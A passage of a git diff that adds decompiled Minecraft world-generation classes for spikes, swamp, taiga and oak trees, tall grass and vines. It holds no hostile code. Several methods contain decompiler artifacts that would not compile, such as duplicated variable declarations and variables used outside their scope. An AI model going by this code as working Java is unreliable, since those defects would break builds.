+    while ((((var4 = worldIn.getBlockState(p_180709_3_).getBlock()).getMaterial() == net.minecraft.block.material.Material.air) || (var4.getMaterial() == net.minecraft.block.material.Material.leaves)) && (p_180709_3_.getY() > 0)) {
+      Block var4;
+      p_180709_3_ = p_180709_3_.offsetDown();
+    }
+    
+    Block var5 = worldIn.getBlockState(p_180709_3_).getBlock();
+    
+    if ((var5 == Blocks.dirt) || (var5 == Blocks.grass))
+    {
+      p_180709_3_ = p_180709_3_.offsetUp();
+      func_175905_a(worldIn, p_180709_3_, Blocks.log, field_150527_b);
+      
+      for (int var6 = p_180709_3_.getY(); var6 <= p_180709_3_.getY() + 2; var6++)
+      {
+        int var7 = var6 - p_180709_3_.getY();
+        int var8 = 2 - var7;
+        
+        for (int var9 = p_180709_3_.getX() - var8; var9 <= p_180709_3_.getX() + var8; var9++)
+        {
+          int var10 = var9 - p_180709_3_.getX();
+          
+          for (int var11 = p_180709_3_.getZ() - var8; var11 <= p_180709_3_.getZ() + var8; var11++)
+          {
+            int var12 = var11 - p_180709_3_.getZ();
+            
+            if ((Math.abs(var10) != var8) || (Math.abs(var12) != var8) || (p_180709_2_.nextInt(2) != 0))
+            {
+              BlockPos var13 = new BlockPos(var9, var6, var11);
+              
+              if (!worldIn.getBlockState(var13).getBlock().isFullBlock())
+              {
+                func_175905_a(worldIn, var13, Blocks.leaves, field_150528_a);
+              }
+            }
+          }
+        }
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenSpikes.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenSpikes.java
new file mode 100644
index 0000000..58e854a
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenSpikes.java
@@ -0,0 +1,72 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.item.EntityEnderCrystal;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenSpikes extends WorldGenerator
+{
+  private Block field_150520_a;
+  private static final String __OBFID = "CL_00000433";
+  
+  public WorldGenSpikes(Block p_i45464_1_)
+  {
+    field_150520_a = p_i45464_1_;
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    if ((worldIn.isAirBlock(p_180709_3_)) && (worldIn.getBlockState(p_180709_3_.offsetDown()).getBlock() == field_150520_a))
+    {
+      int var4 = p_180709_2_.nextInt(32) + 6;
+      int var5 = p_180709_2_.nextInt(4) + 1;
+      
+
+
+
+
+      for (int var6 = p_180709_3_.getX() - var5; var6 <= p_180709_3_.getX() + var5; var6++)
+      {
+        for (int var7 = p_180709_3_.getZ() - var5; var7 <= p_180709_3_.getZ() + var5; var7++)
+        {
+          int var8 = var6 - p_180709_3_.getX();
+          int var9 = var7 - p_180709_3_.getZ();
+          
+          if ((var8 * var8 + var9 * var9 <= var5 * var5 + 1) && (worldIn.getBlockState(new BlockPos(var6, p_180709_3_.getY() - 1, var7)).getBlock() != field_150520_a))
+          {
+            return false;
+          }
+        }
+      }
+      
+      for (var6 = p_180709_3_.getY(); (var6 < p_180709_3_.getY() + var4) && (var6 < 256); var6++)
+      {
+        for (int var7 = p_180709_3_.getX() - var5; var7 <= p_180709_3_.getX() + var5; var7++)
+        {
+          for (int var8 = p_180709_3_.getZ() - var5; var8 <= p_180709_3_.getZ() + var5; var8++)
+          {
+            int var9 = var7 - p_180709_3_.getX();
+            int var10 = var8 - p_180709_3_.getZ();
+            
+            if (var9 * var9 + var10 * var10 <= var5 * var5 + 1)
+            {
+              worldIn.setBlockState(new BlockPos(var7, var6, var8), net.minecraft.init.Blocks.obsidian.getDefaultState(), 2);
+            }
+          }
+        }
+      }
+      
+      EntityEnderCrystal var11 = new EntityEnderCrystal(worldIn);
+      var11.setLocationAndAngles(p_180709_3_.getX() + 0.5F, p_180709_3_.getY() + var4, p_180709_3_.getZ() + 0.5F, p_180709_2_.nextFloat() * 360.0F, 0.0F);
+      worldIn.spawnEntityInWorld(var11);
+      worldIn.setBlockState(p_180709_3_.offsetUp(var4), net.minecraft.init.Blocks.bedrock.getDefaultState(), 2);
+      return true;
+    }
+    
+
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenSwamp.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenSwamp.java
new file mode 100644
index 0000000..eb05ce2
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenSwamp.java
@@ -0,0 +1,197 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenSwamp extends WorldGenAbstractTree
+{
+  private static final String __OBFID = "CL_00000436";
+  
+  public WorldGenSwamp()
+  {
+    super(false);
+  }
+  
+
+
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    for (int var4 = p_180709_2_.nextInt(4) + 5; worldIn.getBlockState(p_180709_3_.offsetDown()).getBlock().getMaterial() == Material.water; p_180709_3_ = p_180709_3_.offsetDown()) {}
+    
+
+
+
+    boolean var5 = true;
+    
+    if ((p_180709_3_.getY() >= 1) && (p_180709_3_.getY() + var4 + 1 <= 256))
+    {
+
+
+
+      for (int var6 = p_180709_3_.getY(); var6 <= p_180709_3_.getY() + 1 + var4; var6++)
+      {
+        byte var7 = 1;
+        
+        if (var6 == p_180709_3_.getY())
+        {
+          var7 = 0;
+        }
+        
+        if (var6 >= p_180709_3_.getY() + 1 + var4 - 2)
+        {
+          var7 = 3;
+        }
+        
+        for (int var8 = p_180709_3_.getX() - var7; (var8 <= p_180709_3_.getX() + var7) && (var5); var8++)
+        {
+          for (int var9 = p_180709_3_.getZ() - var7; (var9 <= p_180709_3_.getZ() + var7) && (var5); var9++)
+          {
+            if ((var6 >= 0) && (var6 < 256))
+            {
+              Block var10 = worldIn.getBlockState(new BlockPos(var8, var6, var9)).getBlock();
+              
+              if ((var10.getMaterial() != Material.air) && (var10.getMaterial() != Material.leaves))
+              {
+                if ((var10 != Blocks.water) && (var10 != Blocks.flowing_water))
+                {
+                  var5 = false;
+                }
+                else if (var6 > p_180709_3_.getY())
+                {
+                  var5 = false;
+                }
+              }
+            }
+            else
+            {
+              var5 = false;
+            }
+          }
+        }
+      }
+      
+      if (!var5)
+      {
+        return false;
+      }
+      
+
+      Block var17 = worldIn.getBlockState(p_180709_3_.offsetDown()).getBlock();
+      
+      if (((var17 == Blocks.grass) || (var17 == Blocks.dirt)) && (p_180709_3_.getY() < 256 - var4 - 1))
+      {
+        func_175921_a(worldIn, p_180709_3_.offsetDown());
+        
+
+
+
+
+        for (int var18 = p_180709_3_.getY() - 3 + var4; var18 <= p_180709_3_.getY() + var4; var18++)
+        {
+          int var8 = var18 - (p_180709_3_.getY() + var4);
+          int var9 = 2 - var8 / 2;
+          
+          for (int var20 = p_180709_3_.getX() - var9; var20 <= p_180709_3_.getX() + var9; var20++)
+          {
+            int var11 = var20 - p_180709_3_.getX();
+            
+            for (int var12 = p_180709_3_.getZ() - var9; var12 <= p_180709_3_.getZ() + var9; var12++)
+            {
+              int var13 = var12 - p_180709_3_.getZ();
+              
+              if ((Math.abs(var11) != var9) || (Math.abs(var13) != var9) || ((p_180709_2_.nextInt(2) != 0) && (var8 != 0)))
+              {
+                BlockPos var14 = new BlockPos(var20, var18, var12);
+                
+                if (!worldIn.getBlockState(var14).getBlock().isFullBlock())
+                {
+                  func_175906_a(worldIn, var14, Blocks.leaves);
+                }
+              }
+            }
+          }
+        }
+        
+        for (var18 = 0; var18 < var4; var18++)
+        {
+          Block var19 = worldIn.getBlockState(p_180709_3_.offsetUp(var18)).getBlock();
+          
+          if ((var19.getMaterial() == Material.air) || (var19.getMaterial() == Material.leaves) || (var19 == Blocks.flowing_water) || (var19 == Blocks.water))
+          {
+            func_175906_a(worldIn, p_180709_3_.offsetUp(var18), Blocks.log);
+          }
+        }
+        
+        for (var18 = p_180709_3_.getY() - 3 + var4; var18 <= p_180709_3_.getY() + var4; var18++)
+        {
+          int var8 = var18 - (p_180709_3_.getY() + var4);
+          int var9 = 2 - var8 / 2;
+          
+          for (int var20 = p_180709_3_.getX() - var9; var20 <= p_180709_3_.getX() + var9; var20++)
+          {
+            for (int var11 = p_180709_3_.getZ() - var9; var11 <= p_180709_3_.getZ() + var9; var11++)
+            {
+              BlockPos var21 = new BlockPos(var20, var18, var11);
+              
+              if (worldIn.getBlockState(var21).getBlock().getMaterial() == Material.leaves)
+              {
+                BlockPos var22 = var21.offsetWest();
+                BlockPos var14 = var21.offsetEast();
+                BlockPos var15 = var21.offsetNorth();
+                BlockPos var16 = var21.offsetSouth();
+                
+                if ((p_180709_2_.nextInt(4) == 0) && (worldIn.getBlockState(var22).getBlock().getMaterial() == Material.air))
+                {
+                  func_175922_a(worldIn, var22, net.minecraft.block.BlockVine.field_176275_S);
+                }
+                
+                if ((p_180709_2_.nextInt(4) == 0) && (worldIn.getBlockState(var14).getBlock().getMaterial() == Material.air))
+                {
+                  func_175922_a(worldIn, var14, net.minecraft.block.BlockVine.field_176271_T);
+                }
+                
+                if ((p_180709_2_.nextInt(4) == 0) && (worldIn.getBlockState(var15).getBlock().getMaterial() == Material.air))
+                {
+                  func_175922_a(worldIn, var15, net.minecraft.block.BlockVine.field_176272_Q);
+                }
+                
+                if ((p_180709_2_.nextInt(4) == 0) && (worldIn.getBlockState(var16).getBlock().getMaterial() == Material.air))
+                {
+                  func_175922_a(worldIn, var16, net.minecraft.block.BlockVine.field_176276_R);
+                }
+              }
+            }
+          }
+        }
+        
+        return true;
+      }
+      
+
+      return false;
+    }
+    
+
+
+
+    return false;
+  }
+  
+
+  private void func_175922_a(World worldIn, BlockPos p_175922_2_, int p_175922_3_)
+  {
+    func_175905_a(worldIn, p_175922_2_, Blocks.vine, p_175922_3_);
+    int var4 = 4;
+    
+    for (p_175922_2_ = p_175922_2_.offsetDown(); (worldIn.getBlockState(p_175922_2_).getBlock().getMaterial() == Material.air) && (var4 > 0); var4--)
+    {
+      func_175905_a(worldIn, p_175922_2_, Blocks.vine, p_175922_3_);
+      p_175922_2_ = p_175922_2_.offsetDown();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenTaiga1.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenTaiga1.java
new file mode 100644
index 0000000..e79e97b
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenTaiga1.java
@@ -0,0 +1,133 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockPlanks.EnumType;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenTaiga1 extends WorldGenAbstractTree
+{
+  private static final String __OBFID = "CL_00000427";
+  
+  public WorldGenTaiga1()
+  {
+    super(false);
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    int var4 = p_180709_2_.nextInt(5) + 7;
+    int var5 = var4 - p_180709_2_.nextInt(2) - 3;
+    int var6 = var4 - var5;
+    int var7 = 1 + p_180709_2_.nextInt(var6 + 1);
+    boolean var8 = true;
+    
+    if ((p_180709_3_.getY() >= 1) && (p_180709_3_.getY() + var4 + 1 <= 256))
+    {
+
+
+
+
+      for (int var9 = p_180709_3_.getY(); (var9 <= p_180709_3_.getY() + 1 + var4) && (var8); var9++)
+      {
+        boolean var10 = true;
+        int var18;
+        int var18; if (var9 - p_180709_3_.getY() < var5)
+        {
+          var18 = 0;
+        }
+        else
+        {
+          var18 = var7;
+        }
+        
+        for (int var11 = p_180709_3_.getX() - var18; (var11 <= p_180709_3_.getX() + var18) && (var8); var11++)
+        {
+          for (int var12 = p_180709_3_.getZ() - var18; (var12 <= p_180709_3_.getZ() + var18) && (var8); var12++)
+          {
+            if ((var9 >= 0) && (var9 < 256))
+            {
+              if (!func_150523_a(worldIn.getBlockState(new BlockPos(var11, var9, var12)).getBlock()))
+              {
+                var8 = false;
+              }
+              
+            }
+            else {
+              var8 = false;
+            }
+          }
+        }
+      }
+      
+      if (!var8)
+      {
+        return false;
+      }
+      
+
+      Block var17 = worldIn.getBlockState(p_180709_3_.offsetDown()).getBlock();
+      
+      if (((var17 == Blocks.grass) || (var17 == Blocks.dirt)) && (p_180709_3_.getY() < 256 - var4 - 1))
+      {
+        func_175921_a(worldIn, p_180709_3_.offsetDown());
+        int var18 = 0;
+        
+        for (int var11 = p_180709_3_.getY() + var4; var11 >= p_180709_3_.getY() + var5; var11--)
+        {
+          for (int var12 = p_180709_3_.getX() - var18; var12 <= p_180709_3_.getX() + var18; var12++)
+          {
+            int var13 = var12 - p_180709_3_.getX();
+            
+            for (int var14 = p_180709_3_.getZ() - var18; var14 <= p_180709_3_.getZ() + var18; var14++)
+            {
+              int var15 = var14 - p_180709_3_.getZ();
+              
+              if ((Math.abs(var13) != var18) || (Math.abs(var15) != var18) || (var18 <= 0))
+              {
+                BlockPos var16 = new BlockPos(var12, var11, var14);
+                
+                if (!worldIn.getBlockState(var16).getBlock().isFullBlock())
+                {
+                  func_175905_a(worldIn, var16, Blocks.leaves, BlockPlanks.EnumType.SPRUCE.func_176839_a());
+                }
+              }
+            }
+          }
+          
+          if ((var18 >= 1) && (var11 == p_180709_3_.getY() + var5 + 1))
+          {
+            var18--;
+          }
+          else if (var18 < var7)
+          {
+            var18++;
+          }
+        }
+        
+        for (var11 = 0; var11 < var4 - 1; var11++)
+        {
+          Block var19 = worldIn.getBlockState(p_180709_3_.offsetUp(var11)).getBlock();
+          
+          if ((var19.getMaterial() == net.minecraft.block.material.Material.air) || (var19.getMaterial() == net.minecraft.block.material.Material.leaves))
+          {
+            func_175905_a(worldIn, p_180709_3_.offsetUp(var11), Blocks.log, BlockPlanks.EnumType.SPRUCE.func_176839_a());
+          }
+        }
+        
+        return true;
+      }
+      
+
+      return false;
+    }
+    
+
+
+
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenTaiga2.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenTaiga2.java
new file mode 100644
index 0000000..e529703
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenTaiga2.java
@@ -0,0 +1,149 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockPlanks.EnumType;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenTaiga2 extends WorldGenAbstractTree
+{
+  private static final String __OBFID = "CL_00000435";
+  
+  public WorldGenTaiga2(boolean p_i2025_1_)
+  {
+    super(p_i2025_1_);
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    int var4 = p_180709_2_.nextInt(4) + 6;
+    int var5 = 1 + p_180709_2_.nextInt(2);
+    int var6 = var4 - var5;
+    int var7 = 2 + p_180709_2_.nextInt(2);
+    boolean var8 = true;
+    
+    if ((p_180709_3_.getY() >= 1) && (p_180709_3_.getY() + var4 + 1 <= 256))
+    {
+
+
+
+      for (int var9 = p_180709_3_.getY(); (var9 <= p_180709_3_.getY() + 1 + var4) && (var8); var9++)
+      {
+        boolean var10 = true;
+        int var21;
+        int var21; if (var9 - p_180709_3_.getY() < var5)
+        {
+          var21 = 0;
+        }
+        else
+        {
+          var21 = var7;
+        }
+        
+        for (int var11 = p_180709_3_.getX() - var21; (var11 <= p_180709_3_.getX() + var21) && (var8); var11++)
+        {
+          for (int var12 = p_180709_3_.getZ() - var21; (var12 <= p_180709_3_.getZ() + var21) && (var8); var12++)
+          {
+            if ((var9 >= 0) && (var9 < 256))
+            {
+              Block var13 = worldIn.getBlockState(new BlockPos(var11, var9, var12)).getBlock();
+              
+              if ((var13.getMaterial() != net.minecraft.block.material.Material.air) && (var13.getMaterial() != net.minecraft.block.material.Material.leaves))
+              {
+                var8 = false;
+              }
+            }
+            else
+            {
+              var8 = false;
+            }
+          }
+        }
+      }
+      
+      if (!var8)
+      {
+        return false;
+      }
+      
+
+      Block var20 = worldIn.getBlockState(p_180709_3_.offsetDown()).getBlock();
+      
+      if (((var20 == Blocks.grass) || (var20 == Blocks.dirt) || (var20 == Blocks.farmland)) && (p_180709_3_.getY() < 256 - var4 - 1))
+      {
+        func_175921_a(worldIn, p_180709_3_.offsetDown());
+        int var21 = p_180709_2_.nextInt(2);
+        int var11 = 1;
+        byte var22 = 0;
+        
+
+
+        for (int var23 = 0; var23 <= var6; var23++)
+        {
+          int var14 = p_180709_3_.getY() + var4 - var23;
+          
+          for (int var15 = p_180709_3_.getX() - var21; var15 <= p_180709_3_.getX() + var21; var15++)
+          {
+            int var16 = var15 - p_180709_3_.getX();
+            
+            for (int var17 = p_180709_3_.getZ() - var21; var17 <= p_180709_3_.getZ() + var21; var17++)
+            {
+              int var18 = var17 - p_180709_3_.getZ();
+              
+              if ((Math.abs(var16) != var21) || (Math.abs(var18) != var21) || (var21 <= 0))
+              {
+                BlockPos var19 = new BlockPos(var15, var14, var17);
+                
+                if (!worldIn.getBlockState(var19).getBlock().isFullBlock())
+                {
+                  func_175905_a(worldIn, var19, Blocks.leaves, BlockPlanks.EnumType.SPRUCE.func_176839_a());
+                }
+              }
+            }
+          }
+          
+          if (var21 >= var11)
+          {
+            var21 = var22;
+            var22 = 1;
+            var11++;
+            
+            if (var11 > var7)
+            {
+              var11 = var7;
+            }
+          }
+          else
+          {
+            var21++;
+          }
+        }
+        
+        var23 = p_180709_2_.nextInt(3);
+        
+        for (int var14 = 0; var14 < var4 - var23; var14++)
+        {
+          Block var24 = worldIn.getBlockState(p_180709_3_.offsetUp(var14)).getBlock();
+          
+          if ((var24.getMaterial() == net.minecraft.block.material.Material.air) || (var24.getMaterial() == net.minecraft.block.material.Material.leaves))
+          {
+            func_175905_a(worldIn, p_180709_3_.offsetUp(var14), Blocks.log, BlockPlanks.EnumType.SPRUCE.func_176839_a());
+          }
+        }
+        
+        return true;
+      }
+      
+
+      return false;
+    }
+    
+
+
+
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenTallGrass.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenTallGrass.java
new file mode 100644
index 0000000..15b78d8
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenTallGrass.java
@@ -0,0 +1,43 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockTallGrass;
+import net.minecraft.block.BlockTallGrass.EnumType;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenTallGrass extends WorldGenerator
+{
+  private final IBlockState field_175907_a;
+  private static final String __OBFID = "CL_00000437";
+  
+  public WorldGenTallGrass(BlockTallGrass.EnumType p_i45629_1_)
+  {
+    field_175907_a = Blocks.tallgrass.getDefaultState().withProperty(BlockTallGrass.field_176497_a, p_i45629_1_);
+  }
+  
+
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    Block var4;
+    while ((((var4 = worldIn.getBlockState(p_180709_3_).getBlock()).getMaterial() == net.minecraft.block.material.Material.air) || (var4.getMaterial() == net.minecraft.block.material.Material.leaves)) && (p_180709_3_.getY() > 0)) {
+      Block var4;
+      p_180709_3_ = p_180709_3_.offsetDown();
+    }
+    
+    for (int var5 = 0; var5 < 128; var5++)
+    {
+      BlockPos var6 = p_180709_3_.add(p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8), p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4), p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8));
+      
+      if ((worldIn.isAirBlock(var6)) && (Blocks.tallgrass.canBlockStay(worldIn, var6, field_175907_a)))
+      {
+        worldIn.setBlockState(var6, field_175907_a, 2);
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenTrees.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenTrees.java
new file mode 100644
index 0000000..862df11
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenTrees.java
@@ -0,0 +1,249 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockVine;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+
+
+
+
+
+public class WorldGenTrees
+  extends WorldGenAbstractTree
+{
+  private final int minTreeHeight;
+  private final boolean vinesGrow;
+  private final int metaWood;
+  private final int metaLeaves;
+  private static final String __OBFID = "CL_00000438";
+  
+  public WorldGenTrees(boolean p_i2027_1_)
+  {
+    this(p_i2027_1_, 4, 0, 0, false);
+  }
+  
+  public WorldGenTrees(boolean p_i2028_1_, int p_i2028_2_, int p_i2028_3_, int p_i2028_4_, boolean p_i2028_5_)
+  {
+    super(p_i2028_1_);
+    minTreeHeight = p_i2028_2_;
+    metaWood = p_i2028_3_;
+    metaLeaves = p_i2028_4_;
+    vinesGrow = p_i2028_5_;
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    int var4 = p_180709_2_.nextInt(3) + minTreeHeight;
+    boolean var5 = true;
+    
+    if ((p_180709_3_.getY() >= 1) && (p_180709_3_.getY() + var4 + 1 <= 256))
+    {
+
+
+
+      for (int var6 = p_180709_3_.getY(); var6 <= p_180709_3_.getY() + 1 + var4; var6++)
+      {
+        byte var7 = 1;
+        
+        if (var6 == p_180709_3_.getY())
+        {
+          var7 = 0;
+        }
+        
+        if (var6 >= p_180709_3_.getY() + 1 + var4 - 2)
+        {
+          var7 = 2;
+        }
+        
+        for (int var8 = p_180709_3_.getX() - var7; (var8 <= p_180709_3_.getX() + var7) && (var5); var8++)
+        {
+          for (int var9 = p_180709_3_.getZ() - var7; (var9 <= p_180709_3_.getZ() + var7) && (var5); var9++)
+          {
+            if ((var6 >= 0) && (var6 < 256))
+            {
+              if (!func_150523_a(worldIn.getBlockState(new BlockPos(var8, var6, var9)).getBlock()))
+              {
+                var5 = false;
+              }
+              
+            }
+            else {
+              var5 = false;
+            }
+          }
+        }
+      }
+      
+      if (!var5)
+      {
+        return false;
+      }
+      
+
+      Block var19 = worldIn.getBlockState(p_180709_3_.offsetDown()).getBlock();
+      
+      if (((var19 == Blocks.grass) || (var19 == Blocks.dirt) || (var19 == Blocks.farmland)) && (p_180709_3_.getY() < 256 - var4 - 1))
+      {
+        func_175921_a(worldIn, p_180709_3_.offsetDown());
+        byte var7 = 3;
+        byte var20 = 0;
+        
+
+
+
+
+
+        for (int var9 = p_180709_3_.getY() - var7 + var4; var9 <= p_180709_3_.getY() + var4; var9++)
+        {
+          int var10 = var9 - (p_180709_3_.getY() + var4);
+          int var11 = var20 + 1 - var10 / 2;
+          
+          for (int var12 = p_180709_3_.getX() - var11; var12 <= p_180709_3_.getX() + var11; var12++)
+          {
+            int var13 = var12 - p_180709_3_.getX();
+            
+            for (int var14 = p_180709_3_.getZ() - var11; var14 <= p_180709_3_.getZ() + var11; var14++)
+            {
+              int var15 = var14 - p_180709_3_.getZ();
+              
+              if ((Math.abs(var13) != var11) || (Math.abs(var15) != var11) || ((p_180709_2_.nextInt(2) != 0) && (var10 != 0)))
+              {
+                BlockPos var16 = new BlockPos(var12, var9, var14);
+                Block var17 = worldIn.getBlockState(var16).getBlock();
+                
+                if ((var17.getMaterial() == Material.air) || (var17.getMaterial() == Material.leaves) || (var17.getMaterial() == Material.vine))
+                {
+                  func_175905_a(worldIn, var16, Blocks.leaves, metaLeaves);
+                }
+              }
+            }
+          }
+        }
+        
+        for (var9 = 0; var9 < var4; var9++)
+        {
+          Block var21 = worldIn.getBlockState(p_180709_3_.offsetUp(var9)).getBlock();
+          
+          if ((var21.getMaterial() == Material.air) || (var21.getMaterial() == Material.leaves) || (var21.getMaterial() == Material.vine))
+          {
+            func_175905_a(worldIn, p_180709_3_.offsetUp(var9), Blocks.log, metaWood);
+            
+            if ((vinesGrow) && (var9 > 0))
+            {
+              if ((p_180709_2_.nextInt(3) > 0) && (worldIn.isAirBlock(p_180709_3_.add(-1, var9, 0))))
+              {
+                func_175905_a(worldIn, p_180709_3_.add(-1, var9, 0), Blocks.vine, BlockVine.field_176275_S);
+              }
+              
+              if ((p_180709_2_.nextInt(3) > 0) && (worldIn.isAirBlock(p_180709_3_.add(1, var9, 0))))
+              {
+                func_175905_a(worldIn, p_180709_3_.add(1, var9, 0), Blocks.vine, BlockVine.field_176271_T);
+              }
+              
+              if ((p_180709_2_.nextInt(3) > 0) && (worldIn.isAirBlock(p_180709_3_.add(0, var9, -1))))
+              {
+                func_175905_a(worldIn, p_180709_3_.add(0, var9, -1), Blocks.vine, BlockVine.field_176272_Q);
+              }
+              
+              if ((p_180709_2_.nextInt(3) > 0) && (worldIn.isAirBlock(p_180709_3_.add(0, var9, 1))))
+              {
+                func_175905_a(worldIn, p_180709_3_.add(0, var9, 1), Blocks.vine, BlockVine.field_176276_R);
+              }
+            }
+          }
+        }
+        
+        if (vinesGrow)
+        {
+          for (var9 = p_180709_3_.getY() - 3 + var4; var9 <= p_180709_3_.getY() + var4; var9++)
+          {
+            int var10 = var9 - (p_180709_3_.getY() + var4);
+            int var11 = 2 - var10 / 2;
+            
+            for (int var12 = p_180709_3_.getX() - var11; var12 <= p_180709_3_.getX() + var11; var12++)
+            {
+              for (int var13 = p_180709_3_.getZ() - var11; var13 <= p_180709_3_.getZ() + var11; var13++)
+              {
+                BlockPos var23 = new BlockPos(var12, var9, var13);
+                
+                if (worldIn.getBlockState(var23).getBlock().getMaterial() == Material.leaves)
+                {
+                  BlockPos var24 = var23.offsetWest();
+                  BlockPos var16 = var23.offsetEast();
+                  BlockPos var25 = var23.offsetNorth();
+                  BlockPos var18 = var23.offsetSouth();
+                  
+                  if ((p_180709_2_.nextInt(4) == 0) && (worldIn.getBlockState(var24).getBlock().getMaterial() == Material.air))
+                  {
+                    func_175923_a(worldIn, var24, BlockVine.field_176275_S);
+                  }
+                  
+                  if ((p_180709_2_.nextInt(4) == 0) && (worldIn.getBlockState(var16).getBlock().getMaterial() == Material.air))
+                  {
+                    func_175923_a(worldIn, var16, BlockVine.field_176271_T);
+                  }
+                  
+                  if ((p_180709_2_.nextInt(4) == 0) && (worldIn.getBlockState(var25).getBlock().getMaterial() == Material.air))
+                  {
+                    func_175923_a(worldIn, var25, BlockVine.field_176272_Q);
+                  }
+                  
+                  if ((p_180709_2_.nextInt(4) == 0) && (worldIn.getBlockState(var18).getBlock().getMaterial() == Material.air))
+                  {
+                    func_175923_a(worldIn, var18, BlockVine.field_176276_R);
+                  }
+                }
+              }
+            }
+          }
+          
+          if ((p_180709_2_.nextInt(5) == 0) && (var4 > 5))
+          {
+            for (var9 = 0; var9 < 2; var9++)
+            {
+              for (int var10 = 0; var10 < 4; var10++)
+              {
+                if (p_180709_2_.nextInt(4 - var9) == 0)
+                {
+                  int var11 = p_180709_2_.nextInt(3);
+                  EnumFacing var22 = EnumFacing.getHorizontal(var10).getOpposite();
+                  func_175905_a(worldIn, p_180709_3_.add(var22.getFrontOffsetX(), var4 - 5 + var9, var22.getFrontOffsetZ()), Blocks.cocoa, var11 << 2 | EnumFacing.getHorizontal(var10).getHorizontalIndex());
+                }
+              }
+            }
+          }
+        }
+        
+        return true;
+      }
+      
+
+      return false;
+    }
+    
+
+
+
+    return false;
+  }
+  
+
+  private void func_175923_a(World worldIn, BlockPos p_175923_2_, int p_175923_3_)
+  {
+    func_175905_a(worldIn, p_175923_2_, Blocks.vine, p_175923_3_);
+    int var4 = 4;
+    
+    for (p_175923_2_ = p_175923_2_.offsetDown(); (worldIn.getBlockState(p_175923_2_).getBlock().getMaterial() == Material.air) && (var4 > 0); var4--)
+    {
+      func_175905_a(worldIn, p_175923_2_, Blocks.vine, p_175923_3_);
+      p_175923_2_ = p_175923_2_.offsetDown();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenVines.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenVines.java
new file mode 100644
index 0000000..b5c19cc
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenVines.java
@@ -0,0 +1,44 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class WorldGenVines extends WorldGenerator
+{
+  private static final String __OBFID = "CL_00000439";
+  
+  public WorldGenVines() {}
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    for (; p_180709_3_.getY() < 128; p_180709_3_ = p_180709_3_.offsetUp())
+    {
+      if (worldIn.isAirBlock(p_180709_3_))
+      {
+        EnumFacing[] var4 = net.minecraft.util.EnumFacing.Plane.HORIZONTAL.facings();
+        int var5 = var4.length;
+        
+        for (int var6 = 0; var6 < var5; var6++)
+        {
+          EnumFacing var7 = var4[var6];
+          
